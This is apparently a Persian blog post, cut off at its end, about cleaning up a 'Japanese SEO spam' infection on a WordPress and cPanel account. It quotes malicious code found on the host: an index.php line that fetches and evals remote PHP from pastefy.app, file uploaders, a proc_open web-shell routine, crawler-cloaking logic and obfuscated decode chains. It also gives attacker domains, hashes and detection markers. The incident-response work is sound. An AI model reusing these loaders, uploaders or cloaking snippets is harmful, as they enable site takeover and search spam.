ویرگول
ورودثبت نام
mohammad ghanimi
mohammad ghanimi
mohammad ghanimi
mohammad ghanimi
خواندن ۱۸ دقیقه·۴ ماه پیش

تجربه واقعی پاک‌سازی هک ژاپنی وردپرس؛ از SEO Spam و Cloaking تا کشف Web Shell در کل اکانت هاست

ماجرا از جایی شروع شد که سایت در ظاهر کاملاً عادی بود.
مطمنم اگه با این مشکل روبرو شده باشید این مقاله به شدت میتونه به شما کمک کنه. یکی از راه های استفاده از این محتوا این هست که کل محتوارو برای chatgpt کپی کنید و مرحله به مرحله باهاش مسیر رو طی کنید. منتظر کامنت های شما عزیزان هستم

کاربران عادی صفحه اصلی را درست میدیدند، محصولات نمایش داده میشدند، پنل مدیریت باز میشد و حتی آیکون سایت در تنظیمات وردپرس نیز صحیح بود. با این حال، گوگل چیز دیگری از سایت میدید.

در Google Search Console نشانههای عجیبی ظاهر شده بود:

  • صفحات ناشناخته با مسیر /prizes/

  • URLهایی با پارامترهای عددی طولانی مانند ?o=...

  • عنوانهای ژاپنی

  • تصاویر محصول از سایتهای خارجی

  • یک Favicon نامرتبط

  • Sitemapهای متعدد و غیرواقعی

  • محتوایی که کاربران عادی هرگز آن را نمیدیدند

سایت موردنظر hanondesign بود؛ یک سایت وردپرسی دارای ووکامرس، قالب Woodmart، Rank Math، WP Rocket و چند افزونه متداول دیگر.

در ابتدا تصور میشد مشکل از Rank Math، کش WP Rocket، تنظیمات Sitemap یا دیتابیس وردپرس باشد. اما بررسیها نشان داد با یک آلودگی بسیار گستردهتر روبهرو هستیم؛ آلودگیای که فقط وردپرس را هدف نگرفته بود و در مسیرهای مختلف اکانت هاست، از جمله public_html، tmp، ssl، etc، lscache و public_ftp فایل مخرب ساخته بود.

این مقاله گزارش کامل این اتفاق است؛ از اولین نشانهها تا کشف فایل اصلی، ساخت اسکنر اختصاصی، شناسایی چندین خانواده بدافزار و پاکسازی نهایی.


هک ژاپنی وردپرس چیست؟

هک ژاپنی یا Japanese SEO Spam نوعی حمله است که در آن مهاجم صفحات جعلی با محتوای ژاپنی، چینی یا فروشگاهی روی سایت قربانی ایجاد میکند.

هدف معمولاً یکی از این موارد است:

  • گرفتن رتبه در نتایج گوگل با اعتبار دامنه قربانی

  • ساخت صفحات فروش محصول جعلی

  • هدایت کاربران گوگل به فروشگاههای غیرمعتبر

  • سوءاستفاده از Crawl Budget سایت

  • ایجاد هزاران URL اسپم

  • فروش لینک و ترافیک

  • ارسال ایمیل اسپم از سرور

در بسیاری از موارد، صاحب سایت هیچ محتوای ژاپنی در وردپرس نمیبیند؛ زیرا بدافزار از تکنیکی به نام Cloaking استفاده میکند.

در Cloaking، محتوایی که به Googlebot نمایش داده میشود با محتوایی که کاربر عادی میبیند متفاوت است.

مثلاً:

if (isGoogleBot()) { echo $japaneseSpamPage; exit; } require 'wp-blog-header.php';

در چنین حالتی مدیر سایت صفحه واقعی را میبیند، ولی گوگل نسخه جعلی را ایندکس میکند.


نشانههای اولیه آلودگی

در این پرونده، نشانههای زیر مشاهده شد:

۱. URLهای جعلی /prizes/

گوگل URLهایی مشابه نمونه زیر را Crawl میکرد:

https://hanondesign.ir/prizes/65404905 https://hanondesign.ir/prizes/38650470 https://hanondesign.ir/prizes/194572006

هیچ برگه، نوشته، محصول یا Custom Post Type با نام prizes در وردپرس وجود نداشت.

جستوجوی دیتابیس نیز نتیجهای برای این عبارت نشان نمیداد.

۲. Sitemap غیرعادی

فایل sitemap.xml بهجای Sitemap عادی Rank Math، تعداد زیادی Sitemap جعلی تولید میکرد؛ مانند:

/sitemap607.xml /sitemap608.xml /sitemap609.xml

این Sitemapها شامل صدها یا هزاران URL اسپم بودند.

۳. عنوان و محتوای ژاپنی در Search Console

در آزمایش زنده Google Search Console، صفحه اصلی بهصورت یک صفحه فروش محصول ژاپنی نمایش داده شد.

در HTML مشاهدهشده، موارد زیر وجود داشت:

<title>【H984】琥珀...</title>

همچنین:

  • تصاویر از static.mercdn.net

  • منابعی از komeri.com

  • Structured Data مربوط به Product

  • صدها لینک /prizes/

  • Canonical به دامنه اصلی سایت

  • Favicon از یک سایت خارجی

این در حالی بود که مرورگر عادی صفحه واقعی سایت را نمایش میداد.


اولین اشتباه محتمل: متهمکردن افزونه سئو یا کش

وقتی Sitemap جعلی و محتوای متفاوت برای گوگل دیده میشود، معمولاً اولین مظنونها اینها هستند:

  • Rank Math

  • Yoast SEO

  • WP Rocket

  • LiteSpeed Cache

  • Cloudflare

  • افزونه Redirect

  • افزونه Code Snippets

  • دیتابیس وردپرس

در این پرونده نیز ابتدا همین بخشها بررسی شدند.

هیچ رشتهای با عبارات زیر در دیتابیس پیدا نشد:

prizes Japanese komeri mercdn

همچنین Rewrite Rule مشخصی برای /prizes/ وجود نداشت.

در نتیجه باید مشخص میشد آیا درخواست Googlebot اصلاً به وردپرس میرسد یا قبل از آن پاسخ داده میشود.


روش تشخیص اینکه درخواست به وردپرس میرسد یا خیر

برای این کار یک MU Plugin موقت ساخته شد.

فایل:

wp-content/mu-plugins/hanon-trace.php

منطق آن به شکل ساده زیر بود:

<?php add_action('send_headers', function () { header('X-Hanon-WP-Reached: yes'); }); add_action('wp_head', function () { echo '<!-- HANON_WP_REACHED -->'; });

هدف این بود که وقتی وردپرس اجرا میشود:

  • یک Header با نام X-Hanon-WP-Reached اضافه شود.

  • یک Comment در HTML صفحه قرار گیرد.

سپس Google Search Console Live Test دوباره اجرا شد.

نتیجه مهم بود:

HANON_WP_REACHED

در نسخه ژاپنی وجود نداشت.

فایل Log افزونه نیز ساخته نشد.

این یعنی پاسخ جعلی قبل از بارگذاری وردپرس و قبل از اجرای MU Pluginها تولید میشد.

پس مشکل از Rank Math، WooCommerce یا قالب نبود.


تست .htaccess و مشخصشدن محل اجرای بدافزار

برای اطمینان، یک Rewrite موقت در .htaccess اضافه شد تا درخواست Google Inspection Tool به یک فایل ثابت هدایت شود.

محتوای فایل تست:

HANON_GOOGLE_PROBE_20260712

Google Search Console همین متن را نمایش داد.

این آزمایش ثابت کرد:

  1. درخواست گوگل به سرور و .htaccess میرسد.

  2. اما در حالت عادی قبل از اجرای وردپرس، یک کد دیگر پاسخ جعلی تولید میکند.

  3. محل آلودگی احتمالاً یکی از فایلهای ابتدایی اجرای PHP است.

فایلهای مهم در این مرحله عبارتاند از:

index.php wp-blog-header.php wp-load.php wp-config.php .user.ini php.ini auto_prepend_file

غیرفعالکردن WP Rocket و ردشدن فرضیه کش

برای حذف احتمال کش آلوده، اقدامات زیر انجام شد:

define('WP_CACHE', false);

فایل زیر تغییرنام داده شد:

wp-content/advanced-cache.php

و پوشه کش WP Rocket نیز به قرنطینه منتقل شد:

wp-content/cache/wp-rocket

با این حال، Google Search Console همچنان صفحه ژاپنی را نمایش میداد.

بنابراین مشکل از Cache نبود.


کشف عامل اصلی در index.php

فایل اصلی زیر بررسی شد:

/home/hanondes/public_html/index.php

در ابتدای فایل، قبل از کد استاندارد وردپرس، این کد قرار داشت:

<?php error_reporting(0); eval( urldecode("%3f%3e") . file_get_contents( urldecode( hex2bin( '68747470733a2f2f706173746566792e6170702f6d485262685370612f726177' ) ) ) ); ?>

رشته Hex زیر:

68747470733a2f2f706173746566792e6170702f6d485262685370612f726177

پس از Decode به این آدرس تبدیل میشد:

https://pastefy.app/mHRbhSpa/raw

یعنی فایل index.php در هر درخواست، کد PHP را از یک سرویس خارجی دریافت و با eval اجرا میکرد.

ساختار واقعی حمله تقریباً این بود:

$remoteCode = file_get_contents( 'https://pastefy.app/mHRbhSpa/raw' ); eval($remoteCode);

این کد قبل از وردپرس اجرا میشد و میتوانست:

  • User-Agent را بررسی کند.

  • Googlebot را تشخیص دهد.

  • محتوای ژاپنی نمایش دهد.

  • Sitemap جعلی تولید کند.

  • URLهای /prizes/ بسازد.

  • برای کاربران عادی وردپرس واقعی را نمایش دهد.

  • بدون تغییر دیتابیس، هزاران صفحه جعلی ایجاد کند.


پاکسازی اولیه index.php

محتوای آلوده حذف و فایل به نسخه استاندارد وردپرس برگردانده شد:

<?php /** * Front to the WordPress application. * * @package WordPress */ define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';

بعد از این تغییر، Google Search Console Live Test دوباره اجرا شد.

این بار Marker زیر در خروجی دیده شد:

<!-- HANON_WP_REACHED -->

فایل Log نیز ثبت درخواست Googlebot را آغاز کرد.

این یعنی درخواستها اکنون به وردپرس واقعی میرسیدند.

نکته مهم این است که مشاهده درخواستهای جدید گوگل برای URLهای قدیمی /prizes/ بعد از پاکسازی الزاماً به معنی باقیبودن آلودگی نیست. گوگل ممکن است URLهای قبلاً کشفشده را هفتهها یا ماهها دوباره Crawl کند. مهم این است که این URLها اکنون محتوای جعلی تولید نکنند و پاسخ 404 یا 410 بدهند.


کشف فایل CIthjx.php

بررسی فایلهای اخیراً تغییرکرده، یک فایل تصادفی در ریشه سایت نشان داد:

/home/hanondes/public_html/CIthjx.php

مشخصات فایل:

Size: 38,804 bytes Modified: 10 July 2026

نام تصادفی، محل قرارگیری در ریشه سایت و زمان ساخت نزدیک به زمان آلودهشدن index.php بسیار مشکوک بود.

محتوای فایل شامل:

  • رشتههای رمزگذاریشده

  • Commentهای تصادفی

  • eval

  • ساخت پویای توابع

  • Payload بزرگ

  • کدهای مبهمسازیشده

بود.

این فایل یک Backdoor محسوب میشد و حذف شد.

اما این پایان ماجرا نبود.


چرا اسکن فقط public_html کافی نبود؟

در بسیاری از پاکسازیهای ناقص، فقط پوشه سایت بررسی میشود:

/home/user/public_html

اما PHP معمولاً با دسترسی همان حساب cPanel اجرا میشود و ممکن است بتواند در مسیرهای دیگر Home Directory نیز فایل ایجاد کند.

در این پرونده اسکن کل مسیر زیر انجام شد:

/home/hanondes

نتیجه نشان داد بدافزار در مسیرهای مختلف پخش شده است:

/home/hanondes/public_ftp /home/hanondes/etc /home/hanondes/ssl /home/hanondes/lscache /home/hanondes/tmp /home/hanondes/public_html

این موضوع نشان میداد مهاجم فقط یک فایل وردپرس را تغییر نداده، بلکه Persistence در سطح اکانت هاست ایجاد کرده است.


ساخت اسکنر اول: Host Audit Scanner

برای بررسی کل اکانت یک اسکنر PHP اختصاصی ساخته شد.

وظایف این اسکنر عبارت بودند از:

  • پیمایش تمام فایلهای /home/hanondes

  • پیداکردن امضاهای قطعی بدافزار

  • بررسی فایلهای PHP مخفی

  • پیداکردن PHP در uploads

  • بررسی فایلهای تغییرکرده در بازه حمله

  • شناسایی فایلهای World-Writable

  • بررسی Payloadهای طولانی

  • شناسایی ترکیبهای مشکوک مانند eval و base64_decode

  • بررسی فایلهای با نام تصادفی

  • محاسبه SHA-256

  • ثبت مسیر، اندازه و تاریخ تغییر فایل

خلاصه نتیجه اسکن:

Files checked: 28,789 Files read: 28,751 Errors: 0

بخش مهم اسکن، تفکیک «امضای قطعی» از «Heuristic» بود.

برای مثال وجود عبارت Googlebot بهتنهایی دلیل بدافزاربودن نیست؛ زیرا افزونههای کش و کتابخانههای Mobile Detect نیز ممکن است این عبارت را داشته باشند.

همچنین فایلهای تصویر باینری ممکن است بهصورت تصادفی شامل بایتهایی مشابه <?php یا <?= باشند. بنابراین هر نتیجه اسکن نباید بدون بررسی حذف شود.


خانواده بدافزار 85049c1f2be10d

اسکن چند فایل با نام یکسان در مسیرهای مختلف پیدا کرد:

/home/hanondes/public_ftp/85049c1f2be10d.php /home/hanondes/etc/85049c1f2be10d.php /home/hanondes/ssl/85049c1f2be10d.php /home/hanondes/lscache/85049c1f2be10d.php /home/hanondes/tmp/85049c1f2be10d.php

همه این فایلها دارای SHA-256 یکسان بودند:

dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c

یک نسخه دیگر نیز داخل افزونهای با نام مشکوک پیدا شد:

wp-content/plugins/twentynine/BDKR28_5svvawrj.php

وجود یک فایل با Hash یکسان در مسیرهای متعدد، یکی از قویترین نشانههای Persistence است.

این فایلها ممکن بود با هر بار پاکسازی سایت، نسخه دیگری از Backdoor را بازیابی کنند.


فایلهای Mailer_85049c1f2be10d.php

نسخه دیگری از همین خانواده با نام زیر پیدا شد:

Mailer_85049c1f2be10d.php

این فایل یک پنل ارسال ایمیل انبوه با عنوان Leaf PHPMailer بود.

نشانههای داخل آن:

Leaf PHPMailer leafmailer.pw BDKR28 watchx

این فایل امکاناتی مانند موارد زیر داشت:

  • ارسال ایمیل انبوه

  • واردکردن لیست گیرندگان

  • افزودن Attachment

  • تغییر Sender

  • بررسی Blacklist

  • نمایش اطلاعات سرور

  • دریافت اطلاعات PHP و سیستمعامل

  • اجرای کد دریافتشده از اینترنت

در یکی از بخشهای مبهمسازیشده، کد در نهایت به دریافت و اجرای محتوا از مقصد زیر ختم میشد:

http://lef8.pw/-2

بنابراین این فایل فقط یک Mailer نبود؛ یک Remote Code Loader نیز محسوب میشد.

وجود چنین فایلی یعنی باید موارد زیر نیز بررسی شوند:

  • Mail Queue

  • ارسالهای خروجی

  • Reputation آیپی

  • Spam Blacklist

  • حسابهای ایمیل

  • Forwarderها

  • Email Filterها


فایل آپلودر BDKR28

یکی از فایلهای کشفشده کد سادهای داشت:

<?php $p = $_GET['BDKR28'] ?? ''; if ($p !== 'iyhi') { die('Login'); } if (isset($_FILES['f'])) { $name = $_FILES['f']['name']; move_uploaded_file( $_FILES['f']['tmp_name'], $name ); }

این کد در ظاهر کوتاه است، اما خطر آن بسیار زیاد است.

مهاجم میتواند با بازکردن فایل و واردکردن رمز، هر فایل دیگری را در همان مسیر آپلود کند:

shell.php mailer.php index.php backdoor.phtml

نکته مهم اینکه فایل آپلودشده با نام اصلی کاربر ذخیره میشد و هیچ بررسیای روی Extension، MIME Type یا محتوا انجام نمیشد.


فایل priv.php

یک آپلودر دیگر با عنوان Priv1337 پیدا شد:

if ($_POST['_upl'] === 'Upload') { copy( $_FILES['file']['tmp_name'], $_FILES['file']['name'] ); }

این فایل حتی رمز عبور هم نداشت.

هر فردی که URL آن را پیدا میکرد میتوانست فایل جدید روی سرور آپلود کند.


فایل function.php؛ Web Shell کامل

یکی از خطرناکترین فایلها، فایل Obfuscated با نام function.php بود.

با وجود مبهمسازی گسترده، قابلیتهای آن قابل تشخیص بود:

proc_open(...) move_uploaded_file(...) file_put_contents(...) unlink(...) rename(...) scandir(...)

این فایل امکانات زیر را در اختیار مهاجم قرار میداد:

  • مرور همه پوشههای هاست

  • مشاهده فایلها

  • آپلود فایل

  • ویرایش فایل

  • تغییرنام فایل

  • حذف فایل

  • مشاهده Permissionها

  • اجرای Command روی سیستم

  • مشاهده اطلاعات سیستمعامل

  • مشاهده نسخه PHP و وبسرور

تابع اصلی اجرای فرمان تقریباً به این شکل بود:

function runCommand($cmd) { $descriptorSpec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $process = proc_open( $cmd, $descriptorSpec, $pipes ); // Read command output... }

این سطح از دسترسی، یک File Manager ساده نبود؛ یک Web Shell کامل بود.


فایل gaibfebchb.php و SEO Cloaking

یکی دیگر از فایلهای مخرب:

wp-content/uploads/gaibfebchb.php

این فایل با یک Payload بزرگ Base64 شروع میشد:

$a = base64_decode('...'); eval($a);

پس از Decode، مشخص شد کد:

  • User-Agent را بررسی میکند.

  • Googlebot، Bing و Yahoo را تشخیص میدهد.

  • اطلاعات Host، URL، Referer و Language را جمعآوری میکند.

  • از چند دامنه خارجی محتوا میگیرد.

  • robots.txt را بازنویسی میکند.

  • Sitemap جعلی تعریف میکند.

  • پاسخهای 301، 404 و 500 تولید میکند.

  • محتوای HTML، CSS یا XML دریافتی را به کاربر نمایش میدهد.

نمونه منطق تشخیص ربات:

function disbot() { $ua = strtolower( $_SERVER['HTTP_USER_AGENT'] ?? '' ); return stripos($ua, 'googlebot') !== false || stripos($ua, 'bing') !== false || stripos($ua, 'yahoo') !== false || stripos($ua, 'google') !== false; }

نمونه دریافت محتوای خارجی:

$response = curl_exec($ch); if (!$response && ini_get('allow_url_fopen')) { $response = file_get_contents($url); }

این دقیقاً همان رفتاری بود که باعث نمایش نسخه ژاپنی فقط برای گوگل شده بود.


فایلهای مخرب داخل uploads

سه فایل مهم در مسیر رسانهها پیدا شدند:

wp-content/uploads/bceddaeiec.txt wp-content/uploads/gaibfebchb.txt wp-content/uploads/gaibfebchb.php

نکته مهم این است که Extension فایل همیشه قابل اعتماد نیست.

فایلهایی با پسوندهای زیر نیز ممکن است Payload PHP یا داده رمزگذاریشده داشته باشند:

.txt .jpg .png .ico .dat .cache

مهاجم ممکن است Payload را داخل فایل TXT نگه دارد و از یک Loader PHP برای خواندن و اجرای آن استفاده کند.

بنابراین اسکن فقط فایلهای .php کافی نیست.


کشف فایل ejrJa8.php

در اسکن اولیه یک فایل PHP داخل مسیر WPCode در uploads دیده شد:

wp-content/uploads/wpcode/e/b/c/ejrJa8.php

اندازه فایل:

67,001 bytes

ابتدا احتمال داده شد این فایل توسط افزونه WPCode تولید شده باشد، اما بررسی محتوا نشان داد فایل کاملاً مخرب است.

ابتدای فایل شامل کد نامفهوم و Commentهای تصادفی بود:

<?=//e&(6GbF^CIri]G\*:!QcCD\A;B FalSE /*h\Y6iCQ_aVGfJla#t(>:z8A*/; ParsE_STr#:(ynK%+z.!wEUeKK

در ادامه نام توابع بهصورت پویا ساخته میشد و Payload چندمرحلهای اجرا میشد.

توابع مورد استفاده شامل این موارد بودند:

strrev str_rot13 base64_decode gzinflate create_function eval

ساختار کلی Loader مشابه این زنجیره بود:

eval( gzinflate( base64_decode( str_rot13( strrev($payload) ) ) ) );

SHA-256 این فایل:

2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3

این Hash بعداً نقش بسیار مهمی در کشف نسخههای دیگر فایل داشت.


چرا اسکن اول کافی نبود؟

اسکن اول براساس امضاهای شناختهشده این خانوادهها نوشته شده بود:

BDKR28 Priv1337 Leaf PHPMailer leafmailer.pw 85049c1f2be10d gaibfebchb pastefy.app nobotuseragent okhtmlgetcontent

اما ejrJa8.php از امضای متفاوت و Obfuscation پیچیدهتری استفاده میکرد.

این تجربه یک نکته مهم را نشان داد:

هیچ اسکنری که فقط بر نام فایل یا چند رشته ثابت متکی باشد، کامل نیست.

مهاجم میتواند:

  • نام فایل را تغییر دهد.

  • دامنه Remote Loader را تغییر دهد.

  • ترتیب توابع Decode را تغییر دهد.

  • Payload را دوباره Encode کند.

  • Commentهای تصادفی اضافه کند.

  • Hash فایل را تغییر دهد.

  • فایل را در یک مسیر قانونی پنهان کند.

به همین دلیل اسکن دوم اختصاصاً برای Loaderهای رمزگذاریشده ساخته شد.


ساخت اسکنر دوم: Encoded Loader Scanner

اسکنر دوم موارد زیر را بررسی میکرد:

تطبیق Hash قطعی

$knownHashes = [ '2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3', ];

امضاهای اختصاصی فایل

$exactMarkers = [ 'ezyyimywymy1mtykljy2ywzhnmmmjwy2igz', '==ji9//79rpN+', 'FalSE /*h\\Y6iCQ', 'ParsE_STr#:', ];

بررسی زنجیرههای Decode

$decoderMarkers = [ 'base64_decode', 'gzinflate', 'gzdecode', 'str_rot13', 'strrev', 'create_function', 'eval(', 'assert(', ];

شناسایی Payloadهای طولانی

if ( preg_match( '/[A-Za-z0-9+\/]{5000,}={0,2}/s', $content ) ) { $hasLongEncodedPayload = true; }

شناسایی PHP در uploads

$isInUploads = str_contains( $path, '/wp-content/uploads/' ); $isPhp = str_contains($content, '<?php') || str_contains($content, '<?=');

در حالت Scan Only هیچ فایلی حذف نمیشد. اسکنر فقط موارد قطعی و موارد نیازمند بررسی را گزارش میکرد.


نتیجه عجیب اسکن دوم: ۱۲ نسخه یکسان در هسته وردپرس

اسکن دوم ۱۲ نسخه کاملاً یکسان از ejrJa8.php پیدا کرد:

wp-includes/block-bindings/l3EbYf.php wp-includes/ID3/about.php wp-includes/block-supports/mar.php wp-includes/blocks/7fx7gr.php wp-includes/blocks/quote/index.php wp-includes/html-api/admin.php wp-includes/pomo/menu.php wp-includes/fonts/radio.php wp-includes/certificates/P4GTzq.php wp-admin/FbIqZqbg3rF.php wp-admin/user/radio.php wp-admin/js/index.php

همه فایلها:

Size: 67,001 bytes SHA256: 2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3

داشتند.

این نتیجه بسیار مهم بود؛ زیرا برخی نامها ظاهراً طبیعی به نظر میرسیدند:

about.php admin.php menu.php radio.php index.php

یک مدیر سایت ممکن است تصور کند این فایلها بخشی از وردپرس هستند.

اما فایلهای اصلی وردپرس با این نامها در این مسیرها وجود ندارند، یا محتوای آنها نباید دقیقاً با یک Loader رمزگذاریشده ۶۷ کیلوبایتی یکسان باشد.

این فایلها حذف شدند و اسکن دوباره اجرا شد:

CERTAIN MALWARE: 0 SUSPICIOUS REVIEW: 0 FAILED: 0

وجود این ۱۲ نسخه بعد از پاکسازی اولیه میتوانست دو دلیل داشته باشد:

  1. یک Backdoor باقیمانده دوباره فایلها را ساخته باشد.

  2. جایگزینی پوشههای هسته بهصورت Merge یا Overwrite انجام شده باشد و فایلهای اضافی حذف نشده باشند.

بدون Log کامل نمیتوان با قطعیت یکی را انتخاب کرد. به همین دلیل هنگام جایگزینی هسته وردپرس باید پوشههای قدیمی wp-admin و wp-includes ابتدا کامل حذف شوند و سپس نسخه سالم آپلود شود؛ صرفاً Overwriteکردن کافی نیست.


اسکنر حذف خانواده 85049c1f2be10d

بعد از شناسایی امضاها، یک اسکنر Delete Mode اختصاصی ساخته شد.

این اسکنر براساس موارد زیر فایلها را حذف میکرد:

  • نام فایل

  • Hash

  • Signature داخل محتوا

  • Payload Decodeشده

  • مسیرهای قطعی آلوده

خروجی حذف:

FILES CHECKED: 29143 FILES CONTENT READ: 29138 MATCHED ITEMS: 16 DELETED ITEMS: 16 FAILED ITEMS: 0

فایلهای حذفشده شامل:

public_ftp/Mailer_85049c1f2be10d.php public_ftp/incoming/85049c1f2be10d.php public_ftp/85049c1f2be10d.html etc/Mailer_85049c1f2be10d.php etc/hanondesign.ir/85049c1f2be10d.php ssl/Mailer_85049c1f2be10d.php ssl/certs/85049c1f2be10d.php ssl/85049c1f2be10d.php ssl/85049c1f2be10d.html lscache/Mailer_85049c1f2be10d.php lscache/b/85049c1f2be10d.php lscache/85049c1f2be10d.php lscache/85049c1f2be10d.html tmp/Mailer_85049c1f2be10d.php tmp/85049c1f2be10d.php tmp/85049c1f2be10d.html

اسکن مجدد:

MATCHED ITEMS: 0 FAILED ITEMS: 0

چرا فایلهای shadow را نباید کورکورانه حذف کرد؟

در میان نامهای مشاهدهشده، عبارت shadow نیز مطرح شد.

اما در cPanel فایلهایی با نام shadow ممکن است کاملاً قانونی باشند و اطلاعات احراز هویت حسابهای ایمیل دامنه را نگه دارند؛ مانند:

/home/hanondes/etc/example.com/shadow

حذف کورکورانه تمام فایلهای shadow میتواند حسابهای ایمیل را از کار بیندازد.

قاعده صحیح این است:

  • فایل shadow صرفاً براساس نام حذف نشود.

  • مسیر آن بررسی شود.

  • محتوا در اختیار عموم قرار نگیرد.

  • فقط وقتی حذف شود که امضای قطعی بدافزار داخل آن وجود داشته باشد.

  • فایلهای قانونی داخل ساختار ایمیل cPanel دستنخورده بمانند.


جایگزینی کامل هسته وردپرس

بهدلیل خطای زیر در پیشخوان:

External requests are blocked

نصب مجدد هسته از Dashboard امکانپذیر نبود.

بنابراین هسته بهصورت دستی جایگزین شد.

روش صحیح:

  1. نسخه سالم همان نگارش وردپرس دانلود شود.

  2. پوشههای زیر از هاست حذف شوند:

wp-admin wp-includes
  1. نسخه سالم این دو پوشه آپلود شود.

  2. فایلهای ریشه وردپرس از نسخه سالم Overwrite شوند:

index.php wp-activate.php wp-blog-header.php wp-comments-post.php wp-cron.php wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php

موارد زیر نباید با نسخه بسته وردپرس جایگزین شوند:

wp-config.php wp-content .htaccess .user.ini php.ini

بررسی دیتابیس

پس از پاکسازی فایلها، کل دیتابیس برای Indicators زیر جستوجو شد:

ezyyimywymy1mtykljy2ywzhnmmmjwy2igz BDKR28 leafmailer.pw lef8.pw pastefy.app gaibfebchb 85049c1f2be10d Priv1337

نتیجه همه جستوجوها صفر بود.

همچنین جداول احتمالی Snippetها بررسی شدند:

wp_snippets *_snippets

و کدهایی با توابع زیر جستوجو شدند:

eval( base64_decode gzinflate create_function file_put_contents move_uploaded_file

این مرحله مهم است؛ زیرا برخی افزونههای Snippet کد PHP را داخل دیتابیس نگه میدارند و ممکن است پس از حذف فایل، دوباره آن را تولید کنند.


بررسی کاربران وردپرس

همه کاربران ناشناس وردپرس حذف شدند و فقط حساب مدیر اصلی باقی ماند.

در این مرحله باید علاوه بر جدول wp_users، موارد زیر نیز بررسی شوند:

wp_usermeta Application Passwords Administrator Roles REST API access

حذف مستقیم کاربر از phpMyAdmin ممکن است رکوردهای Orphan در wp_usermeta باقی بگذارد، اما از نظر امنیتی مهمترین موضوع این است که هیچ مدیر ناشناسی وجود نداشته باشد.


بررسی Cron Jobها و تنظیمات PHP

در cPanel هیچ Cron Job مشکوکی وجود نداشت.

فایلهای زیر نیز بررسی شدند:

/home/hanondes/.user.ini /home/hanondes/php.ini /home/hanondes/public_html/.user.ini /home/hanondes/public_html/php.ini

هیچکدام شامل موارد زیر نبودند:

auto_prepend_file auto_append_file pastefy 85049c1f2be10d BDKR28 gaibfebchb CIthjx

این مرحله بسیار مهم است؛ زیرا مهاجم میتواند از تنظیم زیر استفاده کند:

auto_prepend_file=/home/user/malware.php

در این حالت فایل مخرب قبل از همه فایلهای PHP اجرا میشود، حتی اگر index.php سالم باشد.


Indicators of Compromise یا IOCهای این حمله

افرادی که با مشکل مشابه روبهرو هستند، میتوانند این عبارات را در فایلها و Logهای خود جستوجو کنند.

نام فایلها

CIthjx.php 85049c1f2be10d.php 85049c1f2be10d.html Mailer_85049c1f2be10d.php BDKR28_5svvawrj.php priv.php gaibfebchb.php gaibfebchb.txt bceddaeiec.txt ejrJa8.php uqg.txt

نام پوشه مشکوک

wp-content/plugins/twentynine wp-content/uploads/wpcode/e/b/c/

رشتههای قابل جستوجو

BDKR28 Priv1337 Leaf PHPMailer leafmailer.pw lef8.pw pastefy.app/mHRbhSpa/raw mHRbhSpa FOR BUY MORE TOOLS nobotuseragent okhtmlgetcontent okhtmlgetcss okxmlgetcontent okrobotsgetcontent getcontent301page getcontent404page getcontent500page ezyyimywymy1mtykljy2ywzhnmmmjwy2igz ==ji9//79rpN+

Hashهای قطعی

dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c
2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3

مسیرهای جعلی سئو

/prizes/ /sitemap607.xml /sitemap608.xml ?s=<spam> ?o=<long-number>

نمونه منطق یک اسکنر امن و فقط خواندنی

اسکنر زیر صرفاً یک نمونه ساده است و چیزی را حذف نمیکند. روی سایت واقعی باید با محدودیت دسترسی، Timeout، Skip Directory و گزارش دقیقتر استفاده شود.

<?php declare(strict_types=1); header('Content-Type: text/plain; charset=UTF-8'); $root = '/home/USERNAME'; $knownHashes = [ 'dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c', '2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3', ]; $markers = [ 'BDKR28', 'Priv1337', 'Leaf PHPMailer', 'leafmailer.pw', 'lef8.pw', 'pastefy.app/mHRbhSpa/raw', 'nobotuseragent', 'okhtmlgetcontent', 'ezyyimywymy1mtykljy2ywzhnmmmjwy2igz', ]; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $root, FilesystemIterator::SKIP_DOTS ) ); foreach ($iterator as $file) { if (!$file->isFile() || $file->isLink()) { continue; } if ($file->getSize() > 5 * 1024 * 1024) { continue; } $path = $file->getPathname(); $content = @file_get_contents($path); if ($content === false) { continue; } $reasons = []; $sha256 = hash('sha256', $content); if (in_array($sha256, $knownHashes, true)) { $reasons[] = 'Known malicious hash'; } foreach ($markers as $marker) { if (stripos($content, $marker) !== false) { $reasons[] = 'Marker: ' . $marker; } } if ($reasons !== []) { echo "PATH: {$path}\n"; echo "SHA256: {$sha256}\n"; foreach ($reasons as $reason) { echo " - {$reason}\n"; } echo "\n"; } }

این اسکنر بهتنهایی کافی نیست؛ زیرا فایلهای جدید ممکن است هیچیک از Hashها یا Markerهای قبلی را نداشته باشند.


روش بهتر برای تشخیص فایلهای ناشناخته

علاوه بر Signature، باید رفتار فایل بررسی شود.

یک فایل PHP زمانی بسیار مشکوک است که چند مورد از ویژگیهای زیر را همزمان داشته باشد:

eval assert create_function base64_decode gzinflate gzdecode str_rot13 strrev hex2bin file_get_contents با URL خارجی curl_exec proc_open shell_exec system passthru move_uploaded_file file_put_contents unlink rename scandir

برای مثال وجود base64_decode بهتنهایی بدافزار نیست. بعضی افزونهها استفاده قانونی دارند.

اما ترکیب زیر بسیار مشکوک است:

eval( gzinflate( base64_decode($payload) ) );

یا:

$code = file_get_contents( 'https://example.com/payload' ); eval($code);

یا:

proc_open( $_POST['command'], $descriptor, $pipes );

تفاوت نتیجه قطعی و False Positive

اسکنرهای امنیتی معمولاً تعداد زیادی نتیجه تولید میکنند. همه آنها بدافزار نیستند.

مواردی که در این پرونده False Positive بودند:

  • فایلهای WP Rocket دارای عبارت Googlebot

  • کتابخانه Mobile Detect

  • فایلهای Minifyشده JavaScript

  • SVGهای طولانی

  • فایلهای CSS فشرده

  • XMLهای بزرگ

  • تصاویر باینری که بهصورت تصادفی شامل <?= بودند

  • کتابخانههای Composer

  • فایلهای WooCommerce و Elementor

قاعده مهم:

